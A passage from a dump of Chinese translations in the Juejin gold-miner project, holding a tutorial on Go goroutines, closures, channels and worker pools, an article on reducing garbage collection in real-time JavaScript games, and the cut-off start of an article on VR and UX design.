部署在 Hasura 上呢?这其实是将 python 应用部署于 HTTPS 域名的最快的方法(仅需使用 git push)。尝试使用 [https://hasura.io/hub/projects/hasura/hello-python-flask](https://hasura.io/hub/projects/hasura/hello-python-flask) 的模板快速入门吧!Hasura 中所有的项目模板都带有 Dockerfile 与 Kubernetes 标准文件,你可以自由进行定义。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/how-to-write-high-performance-code-in-golang-using-go-routines.md ================================================ > * 原文地址:[How to write high-performance code in Golang using Go-Routines](https://medium.com/@vigneshsk/how-to-write-high-performance-code-in-golang-using-go-routines-227edf979c3c) > * 原文作者:[Vignesh Sk](https://medium.com/@vigneshsk?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/how-to-write-high-performance-code-in-golang-using-go-routines.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-write-high-performance-code-in-golang-using-go-routines.md) > * 译者:[tmpbook](https://github.com/tmpbook) > * 校对者:[altairlu](https://github.com/altairlu) # 如何使用 Golang 中的 Go-Routines 写出高性能的代码 ![](https://cdn-images-1.medium.com/max/800/1*jdAaUNHvhS0n1FjS2RUxgw.jpeg) 为了用 Golang 写出快速的代码,你需要看一下 Rob Pike 的视频 - [Go-Routines](https://www.youtube.com/watch?v=f6kdp27TYZs)。 他是 Golang 的作者之一。如果你还没有看过视频,请继续阅读,这篇文章是我对那个视频内容的一些个人见解。我感觉视频不是很完整。我猜 Rob 因为时间关系忽略掉了一些他认为不值得讲的观点。不过我花了很多的时间来写了一篇综合全面的关于 go-routines 的文章。我没有涵盖视频中涵盖的所有主题。我会介绍一些自己用来解决 Golang 常见问题的项目。 好的,为了写出很快的 Golang 程序,有三个概念你需要完全了解,那就是 Go-Routines,闭包,还有管道。 ## Go-Routines 让我们假设你的任务是将 100 个盒子从一个房间移到另一个房间。再假设,你一次只能搬一个盒子,而且移动一次会花费一分钟时间。所以,你会花费 100 分钟的时间搬完这 100 个箱子。 现在,为了让加快移动 100 个盒子这个过程,你可以找到一个方法更快的移动这个盒子(这类似于找一个更好的算法去解决问题)或者你可以额外雇佣一个人去帮你移动盒子(这类似于增加 CPU 核数用于执行算法) 这篇文章重点讲第二种方法。编写 go-routines 并利用一个或者多个 CPU 核心去加快应用的执行。 任何代码块在默认情况下只会使用一个 CPU 核心,除非这个代码块中声明了 go-routines。所以,如果你有一个 70 行的,没有包含 go-routines 的程序。它将会被单个核心执行。就像我们的例子,一个核心一次只能执行一个指令。因此,如果你想加快应用程序的速度,就必须把所有的 CPU 核心都利用起来。 所以,什么是 go-routine。如何在 Golang 中声明它? 让我们看一个简单的程序并介绍其中的 go-routine。 ### 示例程序 1 假设移动一个盒子相当于打印一行标准输出。那么,我们的实例程序中有 10 个打印语句(因为没有使用 for 循环,我们只移动 10 个盒子)。 ``` package main import "fmt" func main() { fmt.Println("Box 1") fmt.Println("Box 2") fmt.Println("Box 3") fmt.Println("Box 4") fmt.Println("Box 5") fmt.Println("Box 6") fmt.Println("Box 7") fmt.Println("Box 8") fmt.Println("Box 9") fmt.Println("Box 10") } ``` 因为 go-routines 没有被声明,上面的代码产生了如下输出。 ### 输出 ``` Box 1 Box 2 Box 3 Box 4 Box 5 Box 6 Box 7 Box 8 Box 9 Box 10 ``` 所以,如果我们想在在移动盒子这个过程中使用额外的 CPU 核心,我们需要声明一个 go-routine。 ### 包含 Go-Routines 的示例程序 2 ``` package main import "fmt" func main() { go func() { fmt.Println("Box 1") fmt.Println("Box 2") fmt.Println("Box 3") }() fmt.Println("Box 4") fmt.Println("Box 5") fmt.Println("Box 6") fmt.Println("Box 7") fmt.Println("Box 8") fmt.Println("Box 9") fmt.Println("Box 10") } ``` 这儿,一个 go-routine 被声明且包含了前三个打印语句。意思是处理 main 函数的核心只执行 4-10 行的语句。另一个不同的核心被分配去执行 1-3 行的语句块。 ### 输出 ``` Box 4 Box 5 Box 6 Box 1 Box 7 Box 8 Box 2 Box 9 Box 3 Box 10 ``` ## 分析输出 在这段代码中,有两个 CPU 核心同时运行,试图执行他们的任务,并且这两个核心都依赖标准输出来完成它们相应的任务(因为这个示例中我们使用了 print 语句) 换句话来说,标准输出(运行在它自己的一个核心上)一次只能接受一个任务。所以,你在这儿看到的是一种随机的排序,这取决于标准输出决定接受 core1 core2 哪个的任务。 ## 如何声明 go-routine? 为了声明我们自己的 go-routine,我们需要做三件事。 1. 我们创建一个匿名函数 2. 我们调用这个匿名函数 3. 我们使用 「go」关键字来调用 所以,第一步是采用定义函数的语法,但忽略定义函数名(匿名)来完成的。 ``` func() { fmt.Println("Box 1") fmt.Println("Box 2") fmt.Println("Box 3") } ``` 第二步是通过将空括号添加到匿名方法后面来完成的。这是一种叫命名函数的方法。 ``` func() { fmt.Println("Box 1") fmt.Println("Box 2") fmt.Println("Box 3") } () ``` 步骤三可以通过 go 关键字来完成。什么是 go 关键字呢,它可以将功能块声明为可以独立运行的代码块。这样的话,它可以让这个代码块被系统上其他空闲的核心所执行。 > #细节 1:当 go-routines 的数量比核心数量多的时候会发生什么? > > 单个核心通过[上下文切换](https://stackoverflow.com/a/5201906)并行执行多个go程序来实现多个核心的错觉。 > > #自己试试之1:试着移除示例程序2中的 go 关键字。输出是什么呢? > > 答案:示例程序2的结果和1一模一样。 > > #自己试试之 2:将匿名函数中的语句从 3 增加至 8 个。结果改变了吗? > > 答案:是的。main 函数是一个母亲 go-routine(其他所有的 go-routine 都在它里面被声明和创建)。所以,当母亲 go-routine 执行结束,即使其他 go-routines 执行到中途,它们也会被杀掉然后返回。 我们现在已经知道 go-routines 是什么了。接下来让我们来看看**闭包**。 如果之前没有在 Python 或者 JavaScript 中学过闭包,你可以现在在 Golang 中学习它。学到的人可以跳过这部分来节省时间,因为 Golang 中的闭包和 Python 或者 JavaScript 中是一样的。 在我们深入理解闭包之前。让我们先看看不支持闭包属性的语言比如 C,C++ 和 Java,在这些语言中, 1. 函数只访问两种类型的变量,全局变量和局部变量(函数内部的变量)。 2. 没有函数可以访问声明在其他函数里的变量。 3. 一旦函数执行完毕,这个函数中声明的所有变量都会消失。 对 Golang,Python 或者 JavaScript 这些支持闭包属性的语言,以上都是不正确的,原因在于,这些语言拥有以下的灵活性。 1. 函数可以声明在函数内。 2. 函数可以返回函数。 > 推论 #1:因为函数可以被声明在函数内部,一个函数声明在另一个函数内的嵌套链是这种灵活性的常见副产品。 为了了解为什么这两个灵活性完全改变了运作方式,让我们看看什么是闭包。 ## 所以什么是闭包? 除了访问局部变量和全局变量,函数还可以访问函数声明中声明的所有局部变量,只要它们是在之前声明的(包括在运行时传递给闭包函数的所有参数),在嵌套的情况下,函数可以访问所有函数的变量(无论闭包的级别如何)。 为了理解的更好,让我们考虑一个简单的情况,两个函数,一个包含另一个。 ``` package main import "fmt" var zero int = 0 func main() { var one int = 1 child := func() { var two int = 3 fmt.Println(zero) fmt.Println(one) fmt.Println(two) fmt.Println(three) // causes compilation Error } child() var three int = 2 } ``` 这儿有两个函数 - 主函数和子函数,其中子函数定义在主函数中。子函数访问 1. zero 变量 - 它是全局变量 2. one 变量 - 闭包属性 - one 属于主函数,它在主函数中且定义在子函数之前。 3. two 变量 - 它是子函数的局部变量 > 注意:虽然它被定义在封闭函数「main」中,但它不能访问 three 变量,因为后者的声明在子函数的定义后面。 和嵌套一样。 ``` package main import "fmt" var global func() func closure() { var A int = 1 func() { var B int = 2 func() { var C int = 3 global = func() { fmt.Println(A, B, C) fmt.Println(D, E, F) // causes compilation error } var D int = 4 }() var E int = 5 }() var F int = 6 } func main() { closure() global() } ``` 如果我们考虑一下将一个最内层的函数关联给一个全局变量「global」。 1. 它可以访问到 A、B、C 变量,和闭包无关。 1. 它无法访问 D、E、F 变量,因为它们之前没有定义。 > 注意:即使闭包执行完了,它的局部变量任然不会被销毁。它们仍然能够通过名字是 「global」的函数名去访问。 下面介绍一下 **Channels**。 Channels 是 go-routines 之间通信的一种资源,它们可以是任意类型。 ``` ch := make(chan string) ``` 我们定义了一个叫做 ch 的 string 类型的 channel。只有 string 类型的变量可以通过此 channel 通信。 ``` ch <- "Hi" ``` 就是这样发送消息到 channel 中。 ``` msg := <- ch ``` 这是如何从 channel 中接收消息。 所有 channel 中的操作(发送和接收)本质上是阻塞的。这意味着如果一个 go-routine 试图通过 channel 发送一个消息,那么只有在存在另一个 go-routine 正在试图从 channel 中取消息的时候才会成功。如果没有 go-routine 在 channel 那里等待接收,作为发送方的 go-routine 就会永远尝试发送消息给某个接收方。 最重要的点是这里,跟在 channel 操作后面的所有的语句在 channel 操作结束之前是不会执行的,go-routine 可以解锁自己然后执行跟在它后面的语句。这有助于同步其他代码块的各种 go-routine。 > 免责声明:如果只有发送方的 go-routine,没有其他的 go-routine。那么会发生死锁,go 程序会检测出死锁并崩溃。 > > 注意:所有以上讲的也都适用于接收方 go-routines。 ## 缓冲 Channels ``` ch := make(chan string, 100) ``` 缓冲 channels 本质上是半阻塞的。 比如,ch 是一个 100 大小的缓冲字符 channel。这意味着前 100 个发送给它的消息是非阻塞的。后面的就会阻塞掉。 这种类型的 channels 的用处在于从它中接收消息之后会再次释放缓冲区,这意味着,如果有 100 个新 go-routines 程序突然出现,每个都从 channel 中消费一个消息,那么来自发送者的下 100 个消息将会再次变为非阻塞。 所以,一个缓冲 channel 的行为是否和非缓冲 channel 一样,取决于缓冲区在运行时是否空闲。 ## Channels 的关闭 ``` close(ch) ``` 这就是如何关闭 channel。在 Golang 中它对避免死锁很有帮助。接收方的 go-routine 可以像下面这样探测 channel 是否关闭了。 ``` msg, ok := <- ch if !ok { fmt.Println("Channel closed") } ``` ## 使用 Golang 写出很快的代码 现在我们讲的知识点已经涵盖了 go-routines,闭包,channel。考虑到移动盒子的算法已经很有效率,我们可以开始使用 Golang 开发一个通用的解决方案来解决问题,我们只关注为任务雇佣合适的人的数量。 让我们仔细看看我们的问题,重新定义它。 我们有 100 个盒子需要从一个房间移动到另一个房间。需要着重说明的一点是,移动盒子1和移动盒子2涉及的工作没有什么不同。因此我们可以定义一个移动盒子的方法,变量「i」代表被移动的盒子。方法叫做「任务」,盒子数量用「N」表示。任何「计算机编程基础 101」课程都会教你如何解决这个问题:写一个 for 循环调用「任务」N 次,这导致计算被单核心占用,而系统中的可用核心是个硬件问题,取决于系统的品牌,型号和设计。所以作为软件开发人员,我们将硬件从我们的问题中抽离出去,来讨论 go-routines 而不是核心。越多的核心就支持越多的 go-routines,我们假设「R」是我们「X」核心系统所支持的 go-routines 数量。 > FYI:数量「X」的核心数量可以处理超过数量「X」的 go-routines。单个核心支持的 go-routines 数量(R/X)取决于 go-routines 涉及的处理方式和运行时所在的平台。比如,如果所有的 go-routine 仅涉及阻塞调用,例如网络 I/O 或者 磁盘 I/O,则单个内核足以处理它们。这是真的,因为每个 go-routine 相比运算来说更多的在等待。因此,单个核心可以处理所有 go-routine 之间的上下文切换。 因此我们的问题的一般性的定义为 > 将「N」个任务分配给「R」个 go-routines,其中所有的任务都相同。 如果 N≤R,我们可以用以下方式解决。 ``` package main import "fmt" var N int = 100 func Task(i int) { fmt.Println("Box", i) } func main() { ack := make(chan bool, N) // Acknowledgement channel for i := 0; i < N; i++ { go func(arg int) { // Point #1 Task(arg) ack <- true // Point #2 }(i) // Point #3 } for i := 0; i < N; i++ { <-ack // Point #2 } } ``` 解释一下我们做了什么... 1. 我们为每个任务创建一个 go-routine。我们的系统能同时支持「R」个 go-routines。只要 N≤R 我们这么做就是安全的。 2. 我们确认 main 函数在等待所有 go-routine 完成的时候才返回。我们通过等待所有 go-routine(通过闭包属性)使用的确认 channel(「ack」)来传达其完成。 3. 我们传递循环计数「i」作为参数「arg」给 go-routine,而不是通过[闭包属性](https://golang.org/doc/faq#closures_and_goroutines)在 go-routine 中直接引用它。 另一方面,如果 N>R,则上述解决方法会有问题。它会创建系统不能处理的 go-routines。所有核心都尝试运行更多的,超过其容量的 go-routines,最终将会把更多的时间话费在上下文切换上而不是运行程序(俗称抖动)。当 N 和 R 之间的数量差异越来越大,上下文切换的开销会更加突出。因此要始终将 go-routine 的数量限制为 R。并将 N 个任务分配给 R 个 go-routines。 下面我们介绍 **workers** 函数 ``` var R int = 100 func Workers(task func(int)) chan int { // Point #4 input := make(chan int) // Point #1 for i := 0; i < R; i++ { // Point #1 go func() { for { v, ok := <-input // Point #2 if ok { task(v) // Point #4 } else { return // Point #2 } } }() } return input // Point #3 } ``` 1. 创建一个包含有「R」个 go-routines 的池。不多也不少,所有对「input」channel 的监听通过闭包属性来引用。 2. 创建 go-routines,它通过在每次循环中检查 ok 参数来判断 channel 是否关闭,如果 channel 关闭则杀死自己。 3. 返回 input channel 来允许调用者函数分配任务给池。 4. 使用「task」参数来允许调用函数定义 go-routines 的主体。 ## 使用 ``` func main() { ack := make(chan bool, N) workers := Workers(func(a int) { // Point #2 Task(a) ack <- true // Point #1 }) for i := 0; i < N; i++ { workers <- i } for i := 0; i < N; i++ { // Point #3 <-ack } } ``` 通过将语句(Point #1)添加到 worker 方法中(Point #2),闭包属性巧妙的在任务参数定义中添加了对确认 channel 的调用,我们使用这个循环(Point #3)来使 main 函数有一个机制去知道池中的所有 go-routine 是否都完成了任务。所有和 go-routines 相关的逻辑都应该包含在 worker 自己中,因为它们是在其中创建的。main 函数不应该知道内部 worker 函数们的工作细节。 因此,为了实现完全的抽象,我们要引入一个『climax』函数,只有在池中所有 go-routine 全部完成之后才运行。这是通过设置另一个单独检查池状态的 go-routine 来实现的,另外不同的问题需要不同类型的 channel 类型。相同的 int cannel 不能在所有情况下使用,所以,为了写一个更通用的 worker 函数,我们将使用[空接口类型](https://tour.golang.org/methods/14)重新定义一个 worker 函数。 ``` package main import "fmt" var N int = 100 var R int = 100 func Task(i int) { fmt.Println("Box", i) } func Workers(task func(interface{}), climax func()) chan interface{} { input := make(chan interface{}) ack := make(chan bool) for i := 0; i < R; i++ { go func() { for { v, ok := <-input if ok { task(v) ack <- true } else { return } } }() } go func() { for i := 0; i < R; i++ { <-ack } climax() }() return input } func main() { exit := make(chan bool) workers := Workers(func(a interface{}) { Task(a.(int)) }, func() { exit <- true }) for i := 0; i < N; i++ { workers <- i } close(workers) <-exit } ``` 你看,我已经试图展示了 Golang 的力量。我们还研究了如何在 Golang 中编写高性能代码。 请观看 Rob Pike 的 Go-Routines 视频,然后和 Golang 度过一个美好的时光。 直到下次... 感谢 [Prateek Nischal](https://medium.com/@prateeknischal25?source=post_page)。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/how-to-write-low-garbage-real-time-javascript.md ================================================ >* 原文链接 : [How to write low garbage real-time Javascript](https://www.scirra.com/blog/76/how-to-write-low-garbage-real-time-javascript) * 原文作者 : [Ashley ](https://www.scirra.com/users/ashley) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [yangzj1992](http://qcyoung.com) * 校对者: [L9m](https://github.com/L9m), [Dwight](https://github.com/ldhlfzysys), [宁金](https://github.com/godofchina) # 如何编写避免垃圾开销的实时 Javascript 代码 _编辑于 2012 年 3 月 27 日: 哇,这篇文章已经写了有很长一段时间了,十分感谢那些精彩的回复!其中有一些对于一些技术的指正,如使用 'delete' 。我知道了使用它可能会导致其他的降速问题,因此,我们在引擎中极少使用它。一如既往的你还需要对所有的事进行权衡并且需要通过其他关注点来平衡垃圾回收机制,这也只是一个在我们引擎中发现的实用、简单的技术列表,它并不是一个完整的参考列表。但是我希望它还是有用的!_ 一个用 Javascript 编写的 HTML5 游戏,要达到流畅体验的一个最大阻碍就是**垃圾回收 ( GC ) 卡顿**。 Javascript 并没有一个显式的内存管理,意味着你创造东西后却不能释放它们占用的内存。因此迟早浏览器便会替你决定去清理它们:这时代码执行就会被暂停,浏览器会找出哪一部分内存是现在仍在被使用的,并把其他所有东西占用的内存释放掉。这篇博文将会去探究避开GC开销的技术细节,这对方便进行使用任何插件或是使用 Construct 2 进行 [Javascript SDK](http://www.scirra.com/manual/15/sdk "Construct 2 Javascript Plugin and Behavior SDK")开发都应该能派上用场。 浏览器有很多技术性手段来减少 GC 卡顿,但是如果你的代码创造了许多垃圾,迟早浏览器也将会暂停并进行清理。随着对象逐步创建的过程中,之后浏览器又突然清理,这最后将导致内存使用情况图表呈现 z 字形。例如,下面是 Chrome 在玩太空爆破手时的内存使用情况。 ![Chrome garbage-collected memory usage](https://www.scirra.com/images/chromememoryusage.png) _当在玩一个 Javascript 游戏时会呈现 z 字形的内存占用情况。这可能是一个内存泄漏错误,但是实际上是 JavaScript 的正常操作。_ 此外,游戏以 60 fps 运行时只有 16 ms 的时间来渲染每一帧,但是 GC 会很轻易的产生最少 100 ms 以上明显的卡顿,在更糟的情况下,这会导致不断卡顿的游戏体验,因此对于像游戏引擎一样实时运行的 Javascript 代码,解决办法是努力尝试在典型帧的持续时间内_你不要创建任何东西_。这实际上是相当困难的,因为有许多看上去无害的 Javascript 语句实际上却创造了垃圾,它们_都_必须从每帧动画的代码路径里删除掉。在 Construct 2 中我们竭尽全力减少每一处引擎的垃圾开销,但是你可以从图表中看到上面仍然有许多小的对象被创建所以 Chrome 还会每隔数秒进行一次清除。要注意这里只是一个小的清理 - 这里并没有大量的内存被清理出来,因为一个更高更极端的z曲线会更引起关注,但是它可能已经足够好了,因为小型的垃圾集合执行会更快并且偶尔的小卡顿也一般不太引人注意 - 因此我们应该看到了,有时我们确实很难避免产生新的资源分配。 同样重要的包括第三方插件以及开发人员行为也需要遵守这些原则,否则,一个写的不好的插件可以产生许多垃圾并会让游戏十分卡顿,尽管主引擎 Construct 2 已经是一个非常低垃圾开销的引擎了。 ### 简单的技巧 首先,最明显的是,关键词 `new` 指示了资源的分配,例如 `new Foo()` 在可能的情况下,它会在启动时尝试创建一个对象,并且尽可能长时间、简单的**重新使用相同的对象**。 不太明显的是,这里有三种快捷语法方式来相似的调用 `new` : `{}` _(创建一个新对象)_ `[]` _(创建一个新数组)_ `function () { ... }` _(创建一个新函数,也会被垃圾收集)_ 对于对象,用避免 `{}` 一样的方式来避免 `new` - 尝试去回收对象。请注意这包括像 `{ "foo": "bar" }` 这样带属性的对象,也就是我们在函数中常用的一次性返回多个值。或许将每一次的返回值写入一个相同的(全局)对象来返回的写法是更好的 - 在文档中要仔细记录这一点,因为如果你保持引用这样的返回对象,可能在每次调用改变的时候发生错误。 实际上你可以回收一个存在的对象(如果它没有原型链)通过删除它的所有属性,将它还原为一个空的对象如 `{}` 一样。为此你可以使用 `cr.wipe(obj)` 函数,它的定义如下: // remove all own properties on obj, effectively reverting it to a new object cr.wipe = function (obj) { for (var p in obj) { if (obj.hasOwnProperty(p)) delete obj[p]; } }; 因此在某些情况下,你可以调用 `cr.wipe(obj)` 并为其再次添加属性来重用一个对象。比起重新简单分配 `{}` 现场清除一个对象可能需要更长的时间,但是在实时处理的代码中更重要的是避免产生垃圾,从而减少未来可能产生的卡顿情况。 分配 `[]` 到一个数组中被经常用来作为一个快捷方式去清除这个数组(例如 `arr = [];`),但请注意这将创建一个新的空数组并使旧的数组成为一个垃圾!更好的写法是 `arr.length = 0;` ,这种方式具有相同的效果但却继续使用了相同的数组对象。 函数则有一点棘手,函数通常在执行时创建并且不倾向于在运行时进行过多分配 - 但这意味着它们在动态创建时很容易被忽视。一个例子是返回函数的函数。主要的游戏循环使用了 `setTimeout` 或者 `requestAnimationFrame` 方法来调用一个成员函数类似如下:
      setTimeout((function (self) { return function () {
      self.tick(); }; })(this), 16);
      这看起来像是一个合理的方式来每 16ms 调用一次 `this.tick()` 。然而,这也意味着每一次执行 tick 函数都会返回一个新函数!这可以通过永久存储函数的方法来避免,例如:  // at startup this.tickFunc = (function (self) { return function () { self.tick(); }; })(this); // in the tick() function setTimeout(this.tickFunc, 16); 这将在每次执行 tick 函数时重复使用相同的函数来代替产生一个新的函数。这个方法可以应用到任意其他地方的返回函数中或是运行创建的函数中。 ### 进阶技巧 随着我们的进展,进一步的避免产生垃圾变得更加困难,由于 Javascript 本身就是围绕着 GC 所设计的。许多 Javascript 中方便的库函数也总是创建了新的对象。这儿没有什么你可以做的但是当你返回文档查阅那些返回值时。例如,数组中的 `slice()` 方法会返回一个数组(基于保持不变的原始数组范围内),字符串的 `substr` 会返回一个新的字符串(基于保持不变的原始字符串字符的范围),等等。调用这些函数都会产生垃圾,而你能做的就是不要去调用它们,或是在极端情况下重写你的函数使它们不再产生垃圾。例如在 Construct 2 这种引擎,由于各种原因一个经常的操作是通过索引去删除数组里的一个元素。这个方法的快捷使用方式如下: var sliced = arr.slice(index + 1); arr.length = index; arr.push.apply(arr, sliced); 然而 `slice()` 返回一个原始数组的后半部分来组成了一个新的数组,并且在被(`arr.push.apply`)复制后产生了垃圾。由于这是我们引擎中一个生产垃圾的热门处,它被改写为了一个迭代版本: for (var i = index, len = arr.length - 1; i < len; i++) arr[i] = arr[i + 1]; arr.length = len; 显然重写大量的库函数是相当痛苦的,所以你需要仔细的权衡需求实现的方便性以及垃圾产生之间的平衡。如果它在每帧中被调用了很多次,你可能最好重写这个你需要的函数库。 这里可以很容易的使用 `{}` 语法来沿着递归函数传递数据。通过一个数组来表示一个堆栈,在这个堆栈中对递归的每一级进行 push 和 pop 是更好的。更好的是,实际上你并不需要在数组中 pop - 你应该将数组中最后一个对象像垃圾一样处理掉。来代替使用一个 'top index' 变量进行简单减量。然后为了代替 pushing ,则增加 top index 并且如果有的话就重用数组中的下一个对象,否则执行真正的 push。 此外,**在所有可能的情况下避免向量对象**(如 vector2 中的 x 和 y 属性)。虽然可能函数返回这些对象会让它们立刻改变或返回这两个值时会方便些,你可以在_每一帧_中轻松地结束数百个这样的创建对象,这将导致可怕的 GC 性能。这些函数必须分离出来在每个单独的组件中工作,例如:使用 `getX()` 和 `getY()` 来代替 `getPosition()` 来返回一个 vector2 对象。 有时候你无法摆脱一个库是一个产生垃圾的噩梦。 Box2Dweb 是一个典型的例子:它每一帧产生了数百个 b2Vec2 对象并且不断的在浏览器产生垃圾,并最终导致垃圾处理器产生显著的卡顿效果。在这种情况下最好的办法是创建一个缓存回收机制。我们一直在测试 Box2D([Box2Dweb-closure](https://github.com/illandril/box2dweb-closure)) 的修正版本,它似乎可以使 GC 暂停进行缓解(虽然没有完全解决)。查阅 [b2Vec2.js](https://github.com/illandril/box2dweb-closure/blob/master/src/common/math/b2Vec2.js) 的 `Get` 和 `Free` 代码。这里有一个名字叫 'free cache' 的数组,在之后的整个代码中如果不再使用 b2Vec2,它就会在 free cache 中被释放,当需要请求一个新的 b2Vec2,而它如果在 free cache 中还存在那么它就会被重用,否则才会分配一个新的。这并不完美,在一些测试后通常只有一半的 b2Vec2s 被创建并回收,但它确实帮助 GC 缓解了压力从而减少了频繁的卡顿。 ### 结论 在 Javascript 中很难去完全避免垃圾。它的垃圾收集模式根本上是不符合像游戏这样的实时软件的需求的。从 Javascript 代码中需要进行大量的工作来消除垃圾,因为有很多直接的代码含有创建大量垃圾的副作用。然而,只要仔细小心一些,Javascript 也是可以在实时项目中不产生或是制造很少的垃圾开销,而对于需要保持高度响应性的游戏和应用程序这也是至关重要的。 ================================================ FILE: TODO/how-vr-is-changing-ux-from-prototyping-to-device-design.md ================================================ > * 原文地址:[How VR Is Changing UX: From Prototyping To Device Design](https://uxplanet.org/how-vr-is-changing-ux-from-prototyping-to-device-design-a75e6b45e5f8) > * 原文作者:[Justinmind](https://uxplanet.org/@justinmind) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/how-vr-is-changing-ux-from-prototyping-to-device-design.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-vr-is-changing-ux-from-prototyping-to-device-design.md) > * 译者:[Lai](https://github.com/laiyun90) > * 校对者:[halloween](https://github.com/shawnchenxmu) [Larry](https://github.com/lampui) # 虚拟现实是如何改变用户体验的:从原型到设备的设计 ![](https://user-gold-cdn.xitu.io/2017/8/14/5e5931ff4c92ab5fccd061f240632e7b) ## 虚拟现实(VR)正在不断改变着我们定义用户体验(UX)的方式,但是一条经久不变的原则仍然是体验必须以人为中心。 你有没有曾经畅想遨游太空?或者看一场甲壳虫乐队的现场演出?随着虚拟现实技术的最新发展,你甚至不必离开舒服的沙发,就能让你的梦想在现实中模拟实现。 但是这些新技术对用户体验来说意味着什么呢?随着新兴平台的涌现和技术的快速发展,用户体验是这些技术成功的关键。因为如果人们要在日常生活中采用这些新技术,那么这些技术就必须是可信赖的。 正如 [Daniel Terdiman](https://www.fastcompany.com/3058259/for-oculus-to-succeed-vr-needs-to-succeed) 指出的: > 「 **虚拟现实(VR)公司**深知任何平台或设备上的糟糕的 VR 体验,都会将人们永久地隔离于整个科技之外。」 让人们正确了解并使用 VR 是至关重要的,这也正是用户体验的意义所在。 ### 虚拟现实(VR)是什么? 在了解虚拟现实是如何改变用户体验之前,让我们先来看看最近几年虚拟现实出现了哪些技术,并给出相关定义。由于不同的术语会让人感到困惑,所以这里我们给出一些明确清晰的表述。 首先,三个改变现实的重要技术: #### 虚拟现实 (VR) 虚拟现实技术创造了一个全新的世界。只要你想,你就能模拟现实。虚拟现实(VR)所做的是将用户传送到一个完全由技术生成的不同的地方。如果你需要一个脑海中的形象,那么想象一下类似 Oculus Rift 的 VR 头盔,它将会为你创造一个属于你自己的世界。 #### 增强现实 (AR) 接下来介绍增强现实(AR)。增强现实是将生成的图片或视频覆盖在现实世界之上。想想 Pokémon Go 或者宜家 [应用目录](https://www.youtube.com/watch?v=vDNzTasuYEw),它能够让你在买之前,看到家具在你家里是什么样子。 #### 混合现实 (MR) 混合现实就是将生成的图像和真实世界的事物结合起来。 Keith Curtin 曾说过这是 [2017 年最重要的技术](https://thenextweb.com/insider/2017/01/07/mixed-reality-will-be-most-important-tech-of-2017/#.tnw_1frSRiaM)。混合现实所做的是在智能虚拟对象上呈现出真实的世界。 ### 原型设计在虚拟现实中是否发挥作用? 用户体验在虚拟现实中是不可或缺的,所以原型设计对于创造一个可信赖的虚拟现实体验至关重要。正确的虚拟现实体验是必不可少的,可以进行快速迭代的交互原型让你离成功更近。 即使是在设计虚拟现实体验的阶段,定义交互并创建逻辑工作流程也是很有必要的。虽然是一个虚拟的现实,UI 设计仍然占据中心地位。 虚拟现实中的大部分设计都是 3D 的,但是在 3D 设计开始前,为了节省时间并在用户测试阶段进行增量调整,2D 的原型界面仍然有用 —— 你一定会惊讶于 [原型可以适应设计的过程](https://www.justinmind.com/blog/how-to-improve-your-web-and-app-design-process-with-prototypes/)。 ### 虚拟现实中良好的用户体验(UX) 糟糕的用户体验会影响虚拟现实,那么在虚拟现实用户体验中,有哪些必要的、可以未雨绸缪的原则呢? - 可信的:虚拟现实中的体验必须是可信的,也就是说你感受到你真的在那儿。 - 可交互的:虚拟现实必须有良好的交互性,所以当你伸出手臂时,虚拟现实世界也必须复制该动作。 - 可探索的:你必须能够在虚拟环境中行走(甚至飞翔)。 - 沉浸式的:将探索和可信结合起来,你会真正的沉浸在其中,全方位地享受虚拟现实带来的体验。 ### 虚拟现实用户体验的成功案例 虚拟现实有各式各样的用途。其中之一是帮助老年人安享晚年。Rendever 是一家总部位于马萨诸塞州的虚拟现实公司,他们运用虚拟现实技术,帮助老年人重新享受生活。 据 [Rendever](http://rendever.com/) 宣称,50% 的依靠生活辅助设施生活的居民感到抑郁和孤立。该公司力图以创新的方式运用虚拟现实技术,来减少这一数字。 ### 为老年人设计的 VR 想象一下:你是一个没有能力去旅行的老人,而你的孙女正在这个国家的另一边举行婚礼。结果往往是,错过这个重大日子的祖父母会感到失望和沮丧。但是随着虚拟现实技术的发展,这个老人将有可能坐在婚礼现场的前排,让我们感谢虚拟现实。 >**「老年人可以体验 2D 图片不能提供的强大时刻。」** ### 在手术期间用虚拟现实去旅行 虚拟现实技术也应用在医学上。外科医生利用虚拟现实技术,帮助那些经受了重大甚至于改变生命手术的病人保持镇静。 麻醉剂是用于镇定病人的,但是在一些情况下却不能使用。为了减少手术过程中的焦虑和压力,墨西哥城的一家私人诊所用虚拟现实头戴设备将病人传送到秘鲁的马丘比丘等目的地,在接受治疗的过程中让他们分心,而这种做法 [很有效果](https://mosaicscience.com/story/virtual-reality-VR-surgery-pain-mexico)。 ### 虚拟现实有助于减轻患者的疼痛 在加利福尼亚州,心理学家亨特霍夫曼( 